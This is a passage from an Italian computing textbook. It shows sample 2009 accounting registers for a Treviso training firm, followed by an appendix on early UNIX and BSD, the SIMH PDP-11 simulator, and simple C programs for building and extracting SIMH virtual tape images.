000004	Merci c/acquisti	82.737,00		
			euro	82.737,00
341	ONERI FINANZIARI			
000001	Interessi passivi verso fornitori	57,95		
000040	Oneri finanziari diversi	313,12		
			euro	371,07
420	VALORE DELLA PRODUZIONE			
000010	Resi su vendite	720,00		
000011	Ribassi e abbuoni passivi	440,00		
	a riporto :	1.160,00		

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

BILANCIO DAL 30-09-2009 AL 30-11-2009

da riporto :	1.160,00		
		euro	1.160,00
		TOTALE COSTI	106.487,83

Il presente bilancio è conforme alle scritture contabili. Firma

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Sezione IVA n.1 Pagina 2009/1

Registro degli acquisti del mese di novembre 2009

N.Prot.	Data Reg.	N.Documento/Descr.	Data Doc.	Ragione Sociale Fornitore	Imponibile	Perc.	Imposta	Totale
8	01-11-2009	186	31-10-2009	Delta				
		fattura da fornitore	cod. 1	IVA al 20%	5.874,00	20,00%	1.174,80	7.048,80

RIEPILOGO TOTALI PER ALIQUOTE					
cod	**descrizione**	**imponibile**	**%**	**imposta**	**totale**
1	**IVA al 20%**	**5.874,00**	**20.0%**	**1.174,80**	**7.048,80**
TOTALE GENERALE		**5.874,00**		**1.174,80**	**7.048,80**

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Sezione IVA n.1 Pagina 2009/1

Registro delle fatture di vendita del mese di novembre 2009

N.Prot.	Data Reg.	N.Documento/Descr.	Data Doc.	Ragione Sociale Cliente	Imponibile	Perc.	Imposta	Totale
9	30-11-2009	6	30-11-2009	Emme				
		FATTURA DIFFERITA A CLIENTE	cod. 1	IVA al 20%	3.150,00	20,00%	630,00	3.780,00
10	30-11-2009	7	30-11-2009	Zeta				
		FATTURA DIFFERITA A CLIENTE	cod. 1	IVA al 20%	1.260,00	20,00%	252,00	1.512,00

RIEPILOGO TOTALI PER ALIQUOTE					
cod	**descrizione**	**imponibile**	**%**	**imposta**	**totale**
1	**IVA al 20%**	**4.410,00**	**20.0%**	**882,00**	**5.292,00**
TOTALE GENERALE		**4.410,00**		**882,00**	**5.292,00**

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 30 Novembre 2009

GIORNALE DI MAGAZZINO dal 01 ottobre 2009 al 30 novembre 2009

Data Reg.	Causale	Articolo	Rif.Documento	Prezzo	Valore	U.M.	Mov.Quant.
02-10-2009	5-CARICO PER ACQUISTO	A - merce A	fattura 123 del 02-10-2009	0,60	1.296,00	pz	2400
03-10-2009	1-SCARICO PER VENDITA	B - merce B	Fattura Immediata n.1 prot.1/1 del 03-10-2009	1,00	2.850,00	pz	-2850
06-10-2009	5-CARICO PER ACQUISTO	B - merce B	ddt 243 del 06-10-2009	0,55	5.874,00	pz	10680
08-10-2009	1-SCARICO PER VENDITA	A - merce A	Fattura Immediata n.2 prot.4/1 del 08-10-2009	1,00	6.850,00	pz	-6850
12-10-2009	5-CARICO PER ACQUISTO	B - merce B	fattura 154 del 12-10-2009	0,50	2.385,00	pz	4770
13-10-2009	1-SCARICO PER VENDITA	A - merce A	Fattura Immediata n.3 prot.5/1 del 13-10-2009	1,00	175,00	pz	-175
17-10-2009	1-SCARICO PER VENDITA	B - merce B	D.d.T. di Vendita n.1 del 17-10-2009	1,00	5.200,00	pz	-5200
17-10-2009	5-CARICO PER ACQUISTO	A - merce A	ddt 264 del 17-10-2009	0,50	6.350,00	pz	12700
26-10-2009	1-SCARICO PER VENDITA	B - merce B	Fattura Immediata n.5 prot.7/1 del 26-10-2009	1,00	3.720,00	pz	-3720
27-10-2009	5-CARICO PER ACQUISTO	A - merce A	ddt 281 del 27-10-2009	0,60	6.300,00	pz	10500
31-10-2009	2-CARICO PER RESO DA CLI	B - merce B	Nota Credito a Cliente n.3 prot.8/1 del 31-10-2009	1,00	720,00	pz	720
06-11-2009	1-SCARICO PER VENDITA	A - merce A	D.d.T. di Vendita n.2 del 06-11-2009	1,05	1.260,00	pz	-1200
16-11-2009	1-SCARICO PER VENDITA	A - merce A	D.d.T. di Vendita n.3 del 16-11-2009	1,05	3.150,00	pz	-3000

[1] In realtà, sarebbe stato appropriato l'uso dello stesso tipo di pagamento usato per la fattura corrispondente, perché in questo caso il reso è consistente, riferito a una fattura con pagamento con cambiale tratta, per la quale si addebitavano i bolli. Pertanto, usando lo stesso tipo di pagamento, l'importo dei bolli verrebbe calcolato correttamente per la correzione; tuttavia rimarrebbe da modificare manualmente l'importo dell'effetto, dopo la sua generazione, ma prima della stampa della distinta relativa. Qui, e in tutte le esercitazioni successive, nelle note di accredito viene usato sempre il tipo di pagamento nullo, per evitare di creare complicazioni eccessive allo svolgimento del lavoro.

[2] La procedura non consente di introdurre direttamente i dati di una fattura di acquisto, con spese di trasporto non documentate, pertanto non sarebbe possibile l'uso della funzione `Acquisti`, `Registra fattura di acquisto`

[3] Una fattura in cui l'IVA è superiore al valore prescritto per legge, è sempre accettabile, mentre non può essere contabilizzata una fattura con un importo dell'IVA inferiore al dovuto.

Appendici

Appendice A

UNIX di ricerca

A.1 Caratteristiche dei primi sistemi UNIX e BSD 4

A.1.1 Partizioni 5
A.1.2 Dispositivi 5
A.1.3 File di dispositivo delle unità di memorizzazione 6
A.1.4 Unità a nastro 7
A.1.5 Collocazione dei file eseguibili 7

A.2 SIMH e il PDP-11 7

A.2.1 Utilizzo normale 7
A.2.2 Avvio e sospensione di una simulazione 8
A.2.3 Nastri virtuali 9
A.2.4 Caratteristiche generali dei vari modelli PDP-11 16
A.2.5 Simulazione unità a disco e a nastro 17

A.3 2.11BSD 19

A.3.1 Preparazione del nastro virtuale 19
A.3.2 Configurazione iniziale del simulatore e avvio 20
A.3.3 Preparazione delle partizioni 22
A.3.4 Inizializzazione del file system 27
A.3.5 Copia dei file principali e primo avvio del sistema 28
A.3.6 Sistemazione dell'avvio dal disco 29
A.3.7 Predisposizione dei file di dispositivo e conclusione dell'installazione 31
A.3.8 Sistemare la data 32

A.4 Installazione di file-immagine pronti 33

A.4.1 UNIX versione 5 (RK05) 33
A.4.2 UNIX versione 6 (RK05) 34
A.4.3 UNIX versione 6 (RL02) 36
A.4.4 UNIX versione 7 (RL02) 39
A.4.5 UNIX versione 7 (RL02) «Torsten» 42
A.4.6 BSD versione 2.9 (RL02) 46

A.5 Derivazioni di UNIX per hardware ridotto 50

A.5.1 Mini-UNIX 50
A.5.2 LSI UNIX o LSX 52

A.6 Programmi di servizio 54

A.6.1 V7fs 54

A.7 Riferimenti 55

UNIX nasce negli elaboratori PDP-11. La diffusione e lo studio del sistema operativo ha favorito la fortuna di questa linea di elaboratori, tanto che esiste ancora un discreto interesse verso la preservazione dell'hardware del PDP-11 e delle architetture derivate.

Negli anni 1970 UNIX è un sistema operativo di ricerca, dal quale emerge la filosofia della condivisione della conoscenza informatica. Il desiderio di preservare il PDP-11 va di pari passo con quello di conservare, per ciò che è possibile, quanto resta di tali versioni di Unix, assieme alle varianti ed estensioni dell'università di Berkeley, dello stesso periodo.

La proprietà dei diritti sul codice UNIX originale si è trasferita più volte. Ogni «proprietario» ha gestito --o preteso di gestire-- questi diritti a propria discrezione; in particolare si ricorda nel 1994 la controversia tra Novell e l'università di Berkeley e nel 2003 quella tra SCO Group e IBM. Ma nel 2002 va ricordato un evento importante: Caldera (successivamente divenuta SCO Group), la quale in quel momento ne aveva i diritti, rilascia le prime edizioni di UNIX con una licenza simile a quella di BSD. Purtroppo, nel momento in cui SCO Group ha iniziato la causa contro IBM, questa licenza è scomparsa dal sito originale, ma continua a essere conservata e pubblicata dagli amatori del vecchio UNIX. Si veda a questo proposito:

- Caldera, *Dear UNIX® enthusiast*, 2002

  ⟨*http://minnie.tuhs.org/Archive/Caldera-license.pdf* ⟩

- Dion L. Johnson II, *Liberal license for ancient UNIX sources*, 2002

  ⟨*http://www.lemis.com/grog/UNIX/* ⟩

  ⟨*http://www.lemis.com/grog/UNIX/ancient-source-all.pdf* ⟩

Figura A.1. La licenza, in stile «BSD», per le prime versioni di UNIX.

CALDERA

240 West Center Street
Orem, Utah 84057
801-765-4999 Fax 801-765-4481

January 23, 2002

Dear UNIX® enthusiasts,

Caldera International, Inc. hereby grants a fee free license that includes the rights use, modify and distribute this named source code, including creating derived binary products created from the source code. The source code for which Caldera International, Inc. grants rights are limited to the following UNIX Operating Systems that operate on the 16-Bit PDP-11 CPU and early versions of the 32-Bit UNIX Operating System, with specific exclusion of UNIX System III and UNIX System V and successor operating systems:

32-bit 32V UNIX
16 bit UNIX Versions 1, 2, 3, 4, 5, 6, 7

Caldera International, Inc. makes no guarantees or commitments that any source code is available from Caldera International, Inc.

The following copyright notice applies to the source code files for which this license is granted.

Copyright(C) Caldera International Inc. 2001-2002. All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

Redistributions of source code and documentation must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.

All advertising materials mentioning features or use of this software must display the following acknowledgement:

This product includes software developed or owned by Caldera International, Inc.

Neither the name of Caldera International, Inc. nor the names of other contributors may be used to endorse or promote products derived from this software without specific prior written permission.

USE OF THE SOFTWARE PROVIDED FOR UNDER THIS LICENSE BY CALDERA INTERNATIONAL, INC. AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CALDERA INTERNATIONAL, INC. BE LIABLE FOR ANY DIRECT, INDIRECT INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

Very truly yours,

/signed/ Bill Broderick

Bill Broderick
Director, Licensing Services

* UNIX is a registered trademark of The Open Group in the US and other countries.

A.1 Caratteristiche dei primi sistemi UNIX e BSD

Le prime versioni di UNIX e di BSD (quelle per il PDP-11) hanno delle caratteristiche comuni, anche se non si può avere la certezza che siano sempre perfettamente uniformi. Queste caratteristiche vengono riassunte in questo capitolo.

A.1.1 Partizioni

Un disco utilizzato da una distribuzione BSD tradizionale è sempre diviso in partizioni, mentre con UNIX queste non ci sono, in quanto lo spazio finale, dopo la conclusione del file system viene usato per lo scambio della memoria virtuale.

Le partizioni BSD sono identificate da «etichette», definite *disklabel*. I nomi di queste etichette sono dati da una lettera alfabetica seguita da due punti: «*x*:». Una distribuzione BSD tradizionale può gestire per ogni disco un massimo di otto partizioni e le prime hanno generalmente un ruolo prestabilito.

Tabella A.2. Utilizzo normale delle partizioni nei sistemi BSD tradizionali.

Etichetta	Utilizzo
`a:`	Partizione principale.
`b:`	Partizione di scambio per la memoria virtuale.
`c:`	Spazio complessivo di tutto il disco.

`d:`
`e:`
`f:`
`g:`
`h:`
	Partizioni disponibili.

Sempre per quanto riguarda BSD, la partizione identificata dall'etichetta '**`c:`**' serve generalmente a delimitare lo spazio complessivo del disco. Si osservi che non è possibile collocare una partizione per lo scambio della memoria virtuale in una partizione diversa dalla seconda; inoltre, tra i file di dispositivo non ne è previsto uno che rappresenti il disco complessivo: da ciò deriva la necessità di avere l'etichetta '**`c:`**'.

A.1.2 Dispositivi

Le distribuzioni UNIX e BSD tradizionali classificano i dispositivi di memorizzazione, che nel PDP-11 potevano essere molto diversi, in gruppi omogenei, in base all'organizzazione del codice necessario per accedervi. Questi gruppi hanno delle sigle che è necessario conoscere.

Tabella A.3. Sigle e file di dispositivo usati per le unità di memorizzazione. Le associazioni sono indicative.

unità di controllo	modello	tipo	BSD	
RK11	RK05	cartridge	rk	/dev/**rk**0a /dev/r**rk**0a
RK611	RK06		hk	/dev/**hk**0a /dev/r**hk**0a
	RK07			
RL11 RLV12	RL01		rl	/dev/**rl**0a /dev/r**rl**0a
	RL02			
RP11	RP01	pack	rp	/dev/**rp**0a /dev/r**rp**0a
	RP02			
	RP03			
Massbus: RH70 RH11	RP04		xp	/dev/**xp**0a /dev/r**xp**0a
	RP05			
	RP06			
	RP07	fixed		
	RM02	pack		
	RM03			
	RM05			
	RM80	fixed		
MSCP: RQDX3	RA60	pack	ra	/dev/**ra**0a /dev/r**ra**0a
	RA70	fixed		
	RA71			
	RA72			
	RA73			
	RA80			
	RA81			
	RA82			
	RA90			
	RA92			
	RD51	fixed		
	RD52			
	RD53			
	RD54			
	RD31			
	RD32			
	RX33	fd 5,25 in		
	RX50	fd 5,25 in		
RX11	RX01	fd 8 in		
RX211	RX02			

unità di controllo	modello	tipo	BSD	
MSCP: RQDX3	RA60	pack	ra	/dev/**ra**0a /dev/r**ra**0a
	RA70	fixed		
	RA71			
	RA72			
	RA73			
	RA80			
	RA81			
	RA82			
	RA90			
	RA92			
	RD51	fixed		
	RD52			
	RD53			
	RD54			
	RD31			
	RD32			
	RX33	fd 5,25 in		
	RX50	fd 5,25 in		
RX11	RX01	fd 8 in		
RX211	RX02			

TM02 TM03	TE16	tape	ht	
	TU45			
	TU77			
	TE10		tm	
	TM11			
	TS11		ts	
	TSV05			

A.1.3 File di dispositivo delle unità di memorizzazione

I file di dispositivo delle unità di memorizzazione a disco sono classificate in base al gruppo di dispositivi di cui fanno parte; inoltre, possono essere disponibili a coppie: una versione a blocchi e un'altra a caratteri.

Nello UNIX di ricerca, la struttura del nome dei file di dispositivo per le unità a disco segue una regola abbastanza semplice:

[r]***hhn***

La lettera «r» iniziale, se appare indica un dispositivo a caratteri e sta per *raw*. I dispositivi di questo tipo (a caratteri), se previsti, si usano solo nella fase di inizializzazione e creazione dei file system, oltre che nella copia brutale dell'immagine della partizione.

Le due lettere successive, che nel modello appaiono come ***hh***, richiamano il nome del tipo di dispositivo, come annotato nella tabella della sezione precedente. Per esempio, il file '`/dev/rk0`' è un dispositivo a blocchi per l'accesso al primo disco di tipo '**`rk`**' (un disco RK05). Nello stesso modo, il file '`/dev/rrk0`' è il dispositivo a caratteri (*raw*) dello stesso disco.

Nel caso di BSD, la forma del nome di questi file di dispositivo rimane la stessa, con l'aggiunta della lettera della partizione. Per esempio, il file '`/dev/ra0a`' è un dispositivo a blocchi per l'accesso diretto alla prima partizione del primo disco di tipo '**`ra`**'. Nello stesso modo, il file '`/dev/rra0a`' è un dispositivo a caratteri della stessa partizione. È da osservare che con BSD un file di dispositivo a blocchi per il disco intero non è più disponibile, mentre rimane per la versione a caratteri; per esempio, esiste '`/dev/rhk0`', ma **non esiste** più '`/dev/hk0`'.

A.1.4 Unità a nastro

I file di dispositivo delle unità a nastro non sono differenziati e vanno ricreati al volo, in base al tipo di nastro effettivamente esistente.

A.1.5 Collocazione dei file eseguibili

Nei primi sistemi UNIX non esistono le directory '`/sbin/`' e '`/usr/sbin/`', in quanto i programmi più delicati si trovano invece nella directory '`/etc/`' che non è inclusa nei percorsi predefiniti per questo. Pertanto, per avviare programmi come '**`mknod`**' o '**`mkfs`**', occorre anteporre tutto il percorso:

```
# /etc/mknod ...
```

A.2 SIMH e il PDP-11

SIMH[1] è un simulatore di hardware per una serie di vecchi elaboratori, tra i quali anche il famoso PDP-11. La simulazione implica generalmente l'accesso a file su disco che rappresentano, di volta in volta, l'immagine di un disco, di un nastro, di una stampante.

Per poter utilizzare SIMH occorre leggere la documentazione originale annotata alla fine del capitolo. Qui vengono annotate solo poche cose e in particolare ciò che riguarda il PDP-11.

A.2.1 Utilizzo normale

SIMH è costituito da un gruppo di programmi, ognuno specializzato per la simulazione di un certo tipo di elaboratore. Per esempio, per avviare la simulazione di un PDP-11, si usa normalmente il programma '**`pdp11`**'. Se si avvia il programma senza argomenti, si interagisce con il simulatore:

```
$ pdp11 [Invio]
```

```
PDP-11 simulator V3.6-1
```

```
sim>
```

Da questa modalità interattiva, si danno dei comandi, con i quali si specificano delle opzioni di funzionamento e si definisce l'uso di file-immagine di unità che devono essere gestite. Di norma si prepara uno script per non perdere tempo, come nell'esempio seguente:

```
SET     CPU  11/45
SHOW    CPU
;
; RL02 cartridge disks.
;
SET     RL   ENABLE
ATTACH  RL0  bsd_2.9_root_rl02.dsk
SHOW    RL0
;
; Boot.
;
BOOT    RL0
```

Le istruzioni che si possono dare dipendono molto dal tipo particolare di simulazione prescelto e sono documentate separatamente, rispetto alla guida generale sull'uso di SIMH. È comunque utile osservare che questi comandi non fanno differenza nell'uso di lettere maiuscole o minuscole, a parte quando si fa riferimento a file-immagine, che vanno scritti come richiede il sistema operativo esterno.

Per eseguire uno script è sufficiente avviare il programma seguito dal nome dello stesso:

$ **pdp11 avvio.ini** [*Invio*]

In alternativa, durante il funzionamento interattivo, è possibile usare il comando '**DO**':

sim> **do avvio.ini** [*Invio*]

Durante il funzionamento interattivo del simulatore, è possibile concludere l'attività con il comando '**QUIT**':

sim> **quit** [*Invio*]

Oltre al fatto che i comandi di SIMH possono essere espressi indifferentemente con lettere maiuscole o minuscole, va osservato che questi comandi possono essere abbreviati; pertanto, spesso si vedono esempi di utilizzo di SIMH con comandi apparentemente differenti, per il solo fatto che sono stati abbreviati.

A.2.2 Avvio e sospensione di una simulazione

In condizioni normali, salvo configurazione differente, SIMH associa alla combinazione di tasti [*Ctrl e*] la sospensione della simulazione. In pratica, una volta avviata la simulazione, questa combinazione ne produce la sospensione.

Una volta sospesa una simulazione, la si può riprendere, allo stato in cui si trovava, con il comando '**CONT**'; inoltre, è possibile salvare lo stato di funzionamento di una simulazione sospesa in un file, per poi recuperarla in un secondo momento e riprendere la simulazione da quella condizione.

Comando	Descrizione
[*Ctrl e*]	Sospende la simulazione.
`CONT`	Riprende la simulazione sospesa.
`SAVE` ***file***	Salva in un file una simulazione sospesa.
`RESTORE` ***file***	Recupera da un file una simulazione sospesa (da riprendere poi con il comando '**`CONT`**').

A.2.3 Nastri virtuali

SIMH gestisce i nastri magnetici come file su disco, aventi però una struttura particolare che riproduce l'organizzazione dei dati nel nastro stesso. Il nastro, per sua natura, è suddiviso in ***record***; pertanto, anche i file di SIMH devono riprodurre tale informazione.

Figura A.7. Struttura dei dati che rappresentano un nastro virtuale per SIMH.

record
0A000000 16 — *lunghezza in byte del record successivo*
30313233343536373839 16 — *contenuto del record*
0A000000 16 — *lunghezza in byte del record precedente*

...altri record...

record
0A000000 16 — *lunghezza in byte del record successivo*
30313233343536373839 16 — *contenuto del record*
0A000000 16 — *lunghezza in byte del record precedente*
00000000 16 — *conclusione del file*

...altri file...

In pratica, ogni record (che deve avere una quantità pari di byte) è preceduto e anche seguito da 32 bit che rappresentano la dimensione dello stesso, in byte, tenendo conto che il valore deve essere rappresentato in modalità *little-endian*. Alla fine del file, altri 32 bit a zero indicano la conclusione dello stesso (come se fosse l'inizio di un record vuoto. L'esempio che appare nella figura mostra la sequenza di questi dati; in particolare, il numero $0A000000_{16}$, va interpretato effettivamente come $0000000A_{16}$ (a causa dell'inversione *little-endian*), pari a 10_{10}; pertanto, il record è composto da 10 byte.

Figura A.8. Esempio di un nastro virtuale per SIMH, visto in esadecimale e secondo il codice ASCII. Il file originale è una sequenza di 100 byte contenenti le cifre numeriche da zero a nove (da 30_{16} a 39_{16} secondo il codice ASCII), suddiviso in record da 10 byte.

```
00000000  0a 00 00 00 30 31 32 33  34 35 36 37 38 39 0a 00  |....0123456789..|
00000010  00 00 0a 00 00 00 30 31  32 33 34 35 36 37 38 39  |......0123456789|
00000020  0a 00 00 00 0a 00 00 00  30 31 32 33 34 35 36 37  |........01234567|
00000030  38 39 0a 00 00 00 0a 00  00 00 30 31 32 33 34 35  |89........012345|
00000040  36 37 38 39 0a 00 00 00  0a 00 00 00 30 31 32 33  |6789........0123|
00000050  34 35 36 37 38 39 0a 00  00 00 0a 00 00 00 30 31  |456789........01|
00000060  32 33 34 35 36 37 38 39  0a 00 00 00 0a 00 00 00  |23456789........|
00000070  30 31 32 33 34 35 36 37  38 39 0a 00 00 00 0a 00  |0123456789......|
00000080  00 00 30 31 32 33 34 35  36 37 38 39 0a 00 00 00  |..0123456789....|
00000090  0a 00 00 00 30 31 32 33  34 35 36 37 38 39 0a 00  |....0123456789..|
000000a0  00 00 0a 00 00 00 30 31  32 33 34 35 36 37 38 39  |......0123456789|
000000b0  0a 00 00 00 00 00 00 00                           |........|
000000b8
```

SIMH offre solo strumenti di conversione da altri formati o di analisi del contenuto, ma manca la possibilità di creare un nastro a partire da file comuni e di estrarre poi i file stessi. Per questo occorre realizzare un proprio programma. Gli esempi che si vedono nei listati successivi, funzionano correttamente se la piattaforma prevede interi da 32 bit, rappresentati in modalità *little-endian*.

Listato A.9. Programma per la conversione di un file comune nel formato adatto a SIMH per simulare i nastri magnetici.

```
#include <stdio.h>
int main (int argc, char *argv[])
{
    int  iRecordLength;          // 32 bit, little endian.
    char acRecord[65535];        // 65535 is the max record length.
    int  iZero;
    int  iByteRead;
    int  iByteLeft;
    //
    iZero = '\0';
    //
    // Get the record length from command line argument.
    //
    sscanf (argv[1], "%d", &iRecordLength);
    //
    // Read and write data.
    //
    while (1)   // Loop forever.
      {
        //
        // Read from standard input one record.
        //
        iByteRead = fread (acRecord, 1, iRecordLength, stdin);
        //
        if (iByteRead == iRecordLength)
          {
            //
```

```
            // The record was read completely.
            //
            fwrite (&iRecordLength, 4, 1, stdout);
            fwrite (acRecord, iByteRead, 1, stdout);
            fwrite (&iRecordLength, 4, 1, stdout);
          }
        else if (iByteRead == 0)
          {
            //
            // Nothing was read. The file is finished.
            //
            fwrite (&iZero, 1, 4, stdout);
            break;
          }
        else if (iByteRead < iRecordLength)
          {
            //
            // The record was read partially: it must be
            // filled with zeroes.
            //
            iByteLeft = iRecordLength - iByteRead;
            //
            fwrite (&iRecordLength, 4, 1, stdout);
            fwrite (acRecord, iByteRead, 1, stdout);
            while (iByteLeft > 0)
              {
                fwrite (&iZero, 1, 1, stdout);
                iByteLeft--;
              }
            fwrite (&iRecordLength, 4, 1, stdout);
            //
            // The file is finished.
            //
            fwrite (&iZero, 1, 4, stdout);
            break;
          }
      }
    return 0;
}
```

Il programma che si vede nel listato precedente converte un file normale in un «file su nastro», leggendo lo standard input e generando il risultato attraverso lo standard output. Se il file si chiama '`convert_file_to_simh_tape.c`', si compila semplicemente così:

$ **cc convert_file_to_simh_tape.c** [*Invio*]

$ **mv a.out convert_file_to_simh_tape** [*Invio*]

Supponendo di volere convertire il file '`mio_file`' in un nastro virtuale, avente record da 1 024 byte, si può procedere così:

$ **./convert_file_to_simh_tape 1024 < mio_file > mio_file.tap** [*Invio*]

Una volta convertiti tutti i file che si vogliono usare, si possono mettere assieme in uno stesso «nastro virtuale», semplicemente concatenandoli, per esempio così:

$ **cat file_0.tap file_1.tap** ... **> nastro_completo.tap** [*Invio*]

L'estrazione di un file da un nastro richiede invece un procedimento più complesso. L'esempio riportato nel listato successivo mostra un programma che si limita a estrarre il primo file.

Listato A.10. Programma per l'estrazione del primo file contenuto nell'immagine di un nastro virtuale di SIMH.

```
#include <stdio.h>
int main (int argc, char *argv[])
{
    int  iRecordLength;          // 32 bit, little endian.
    char acRecord[65535];        // 65535 is the max record length.
    int  iZero;
    int  iByteRead;
    int  iByteLeft;
    //
    iZero = '\0';
    //
    // Read and write data.
    //
    while (1)  // Loop forever.
      {
        //
        // Read from standard input the record length.
        //
        iByteRead = fread (&iRecordLength, 1, 4, stdin);
        //
        if (iByteRead == 0)
          {
            //
            // The file is finished.
            //
            break;
          }
        else if (iByteRead < 4)
          {
            //
            // This should not happen.
            //
            return 1;
          }
        else if (iRecordLength == 0)
          {
            //
            // As the value is zero, this is the end of the
            // first file, and no other file is saved.
            //
            break;
          }
        else
          {
```

```
            //
            // Continue reading a record.
            //
            iByteRead = fread (acRecord, 1, iRecordLength, stdin);
            //
            if (iByteRead < iRecordLength)
              {
                //
                // The record is not complete.
                //
                return 1;
              }
            else
              {
                //
                // The record seems ok: write to output.
                //
                fwrite (acRecord, iByteRead, 1, stdout);
                //
                // Try to read from standard input the same
                // old record length (and ignore it).
                //
                iByteRead = fread (&iRecordLength, 1, 4, stdin);
                //
                if (iByteRead < 4)
                  {
                    //
                    // this should not happen!
                    //
                    return 1;
                  }
              }
          }
        //
        // Continue the loop.
        //
      }
    return 0;
}
```

Il programma appena mostrato, si aspetta di leggere un file-immagine conforme alle specifiche di SIMH e non è in grado di gestire altre situazioni. Se si verificano errori, il programma termina di funzionare senza avvertimenti di qualunque sorta. Il file in ingresso viene atteso dallo standard input e il file estratto viene emesso attraverso lo standard output. Se il file si chiama '`estrai.c`', si compila semplicemente così:

$ **cc estrai.c** [*Invio*]

$ **mv a.out estrai** [*Invio*]

Supponendo di volere estrarre il primo file contenuto nell'immagine '`mio_file.tap`' si può procedere così:

```
$ ./estrai < mio_file.tap > file_0 [Invio]
```

Dal momento che i dati in un nastro sono organizzati in record di dimensione uniforme, è normale che quanto estratto contenga qualche byte in più, ma a zero (00_{16}). Di norma, i file che vengono archiviati su nastro hanno una struttura tale per cui questa aggiunta diventa ininfluente.

Listato A.11. Programma completo per l'estrazione di tutti i file da un'immagine di un nastro di SIMH.

```
#include <stdio.h>
int main (int argc, char *argv[])
{
    int  iRecordLength;         // 32 bit, little endian
    char acRecord[65535];       // 65535 is the max record length.
    int  iZero;
    int  iByteRead;
    int  iByteLeft;
    char aczRootFileName[252];
    char aczFileName[255];
    int  iFileCounter;
    FILE *pfOut;
    //
    iZero        = '\0';
    iFileCounter = '\0';
    //
    // Get root file name.
    //
    sscanf (argv[1], "%s", aczRootFileName);
    //
    // Open the first output file.
    //
    sprintf (aczFileName, "%s-%03d", aczRootFileName, iFileCounter);
    pfOut = fopen (aczFileName, "w");
    printf ("%s\n", aczFileName);
    //
    // Read and write data.
    //
    while (1)
      {
        //
        // Read from standard input the record length.
        //
        iByteRead = fread (&iRecordLength, 1, 4, stdin);
        //
        if (iByteRead == 0)
          {
            //
            // The file is finished, although it is not
            // correctly ended. There are no more files.
            //
            fclose (pfOut);
            //
            break;
          }
```

```
        else if (iByteRead < 4)
          {
            //
            // This should not happen, but close anyway.
            //
            fclose (pfOut);
            //
            return 1;
          }
        else if (iRecordLength == 0)
          {
            //
            // Then length of the next record is zero.
            // This is the end of the first file: prepare the next one.
            //
            fclose (pfOut);
            iFileCounter++;
            sprintf (aczFileName, "%s-%03d", aczRootFileName, iFileCounter);
            pfOut = fopen (aczFileName, "w");
            printf ("%s\n", aczFileName);
            //
          }
        else
          {
            //
            // The record length was read: no read the record.
            //
            iByteRead = fread (acRecord, 1, iRecordLength, stdin);
            //
            if (iByteRead < iRecordLength)
              {
                //
                // The record is not complete: close.
                //
                fwrite (acRecord, iByteRead, 1, pfOut);
                fclose (pfOut);
                //
                return 1;
              }
            else
              {
                //
                // The record seems ok: write to output.
                //
                fwrite (acRecord, iByteRead, 1, pfOut);
                //
                // Try to read from standard input the same
                // old record length (and ignore it).
                //
                iByteRead = fread (&iRecordLength, 1, 4, stdin);
                //
                if (iByteRead < 4)
                  {
```

```
                        //
                        // this should not happen: close.
                        //
                        fclose (pfOut);
                        //
                        return 1;
                    }
                }
            }
          //
          // Continue the loop.
          //
        }
      //
      return 0;
}
```

Il programma che appare nell'ultimo listato è completo, in quanto estrapola tutti i file contenuti in un'immagine di nastro secondo SIMH. Il programma riceve dalla riga di comando la radice del nome dei file da creare, quindi genera una sequenza numerata con quella radice. In generale, l'ultimo file è vuoto e va ignorato.

Se il programma del listato è contenuto nel file '`simh_tape_to_file.c`', si compila così:

$ **`cc convert_simh_tape_to_file.c`** [*Invio*]

$ **`mv a.out convert_simh_tape_to_file`** [*Invio*]

Supponendo di volere estrarre i file contenuti nell'immagine '`mio_file.tap`' si può procedere così:

$ **`./convert_simh_tape_to_file radice < mio_file.tap`** [*Invio*]

```
radice-000
radice-001
radice-002
…
```

In tal caso si ottengono i file '`radice-000`', '`radice-001`' e così di seguito.

A.2.4 Caratteristiche generali dei vari modelli PDP-11

I modelli di PDP-11 che sono esistiti hanno avuto caratteristiche abbastanza varie. Anche se si intende utilizzare solo un simulatore, è necessario scegliere il modello adatto al sistema operativo che si vuole installare. Le cose più importanti da sapere sono i tipi di bus ammissibili e la dimensione massima della memoria centrale.

Tabella A.13. Caratteristiche generali dell'unità centrale, in ordine di anno di produzione.

Modello	Bus	Memoria centrale	Anno
PDP11/15	Unibus	64 Kibyte	1970
PDP11/20	Unibus	64 Kibyte	1970
PDP11/10	Unibus	64 Kibyte	1972
PDP11/05	Unibus	64 Kibyte	1972
PDP11/45	Unibus, Fastbus	256 Kibyte	1972
PDP11/50	Unibus, Fastbus	256 Kibyte	1972
PDP11/55	Unibus, Fastbus	256 Kibyte	1972
PDP11/35	Unibus	256 Kibyte	1973
PDP11/40	Unibus	256 Kibyte	1973
PDP11/03	Q-bus	64 Kibyte	1975
PDP11/04	Unibus	64 Kibyte	1975
PDP11/70	Unibus, Massbus	4 Mibyte	1975
PDP11/34	Unibus	256 Kibyte	1976
PDP11/60	Unibus	256 Kibyte	1976
PDP11/23	Q-bus	4 Mibyte	1979
PDP11/44	Unibus, Private memory bus	4 Mibyte	1979
